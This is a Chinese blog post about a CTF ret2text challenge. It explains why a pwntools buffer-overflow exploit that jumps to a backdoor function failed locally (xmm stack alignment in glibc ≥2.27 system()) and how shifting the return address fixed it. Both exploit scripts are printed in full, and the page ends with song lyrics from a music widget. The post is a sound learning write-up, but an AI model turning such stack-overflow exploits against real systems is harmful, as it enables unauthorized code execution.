可可爱爱的就好|

nyyyddddn

园龄:4年粉丝:9关注:12

exp本地不通远程通的问题

今天看一个ret2text的题目的时候,遇到了exp本地不通,远程通的奇怪问题,题目是这样的

有个backdoor函数是这样的

exp是这样的

from pwn import *
# p=remote("1.container.jingsai.apicon.cn",30509)
elf = context.binary = ELF('./Intruduce')
p = process()
context.log_level='debug'
payload=b'a'* (32 + 8)
backd00r=0x4011B6
payload+=p64(backd00r)
s=p.recvline() ; print(s)
print(s)
char=p.recv(1)
print(char)
p.sendline(payload)
p.interactive()

gdb调试了一下发现在call system的时候卡在了这个xmm寄存器里

搜索了一下,在这里找到了解决方法 https://blog.csdn.net/fjh1997/article/details/107695261

发现是glibc >= 2.27的时候 system函数里面会调用xmm寄存器,xmm寄存器要求16字节对齐,远程的环境应该是<2.27的所以可以直接打通,然后我本地的glibc版本是2.35的,所以会因为xmm寄存器内存对齐的原因导致exp打不通,只需要少push一个地址,内存就对齐了

一开始我是用4011B6这个地址,后面换成了4011BB就对齐了,然后本地就通了

from pwn import *
# p=remote("1.container.jingsai.apicon.cn",30509)
elf = context.binary = ELF('./Intruduce')
p = process()
context.log_level='debug'
payload=b'a'* (32 + 8)
backd00r=0x4011BB # old address 4011B6
payload+=p64(backd00r)
s=p.recvline() ; print(s)
print(s)
char=p.recv(1)
print(char)
p.sendline(payload)
p.interactive()

本文作者:nyyyddddn

本文链接:https://www.cnblogs.com/nyyyddddn/p/17740294.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   nyyyddddn  阅读(49)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 404 not found Reol
  2. 2 No title Reol
  3. 3 平面鏡 Reol
  4. 4 アスノヨゾラ哨戒班 Reol
  5. 5 Fallen EGOIST
平面鏡 - Reol
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.

作词 : Reol

作曲 : Reol

いっせーので真ん中の目を射るよう

投げるダーツ、フライト

25点ゾーンじゃ当たってないも同然

ヒット以外はノーカン

だけど「みんながオンリーワン」

誰一人実感ない笑えない冗談

頭がいい、顔が可愛い、性格がいい

チェックリスト あたし幾らですか?

また演じて 大人になって

すべからく隠してほら笑って

見てる見てる、

可愛いあの子の口から漏れる陰口

気にしてるしてる、

流行り廃り上等 伺う顔

トレンドでファッショニスタ

僕らは何を信じたらいい?

お金じゃ買えない 安心が欲しい

ブルズアイだけを狙って疲れ目

下がった視力で僕ら何が見たい?

嘘をついてる「大丈夫」

届かない呪いの歌

憂いを流してよアルコホリック

流行りの歌が愛を問う

救えない呪いの歌

わかってほしい、わかんなくていい

ずっと

平面鏡をなぞるように人が生きている

君があたしとあの子

掛け持ちしていたの知ってるよ

電話線抜くように遮断した昨日が

頭の中何度なじっても消えない

今から云うことは本当

あたしは怖くて仕方がないよ

君の目 映り込む身体

真実よりも確かな虚像を

捉えて 違いない思想

今すぐに伝わっていてほしいよ

どんな事情もシカトで

わかってほしかったのは君です

なんで 正せないままで

壊れていく平面世界

嘘をついてる「大丈夫」

届かない呪いの歌

憂いを流してよアルコホリック

流行りの歌が愛を問う

救えない呪いの歌

わかってほしいわかんなくていい

嘘をついてる「大丈夫」

届かない呪いの歌

憂いを流してよアルコホリック

流行りの歌が愛を問う

救えない呪いの歌

わかってほしいわかんなくていい

ずっと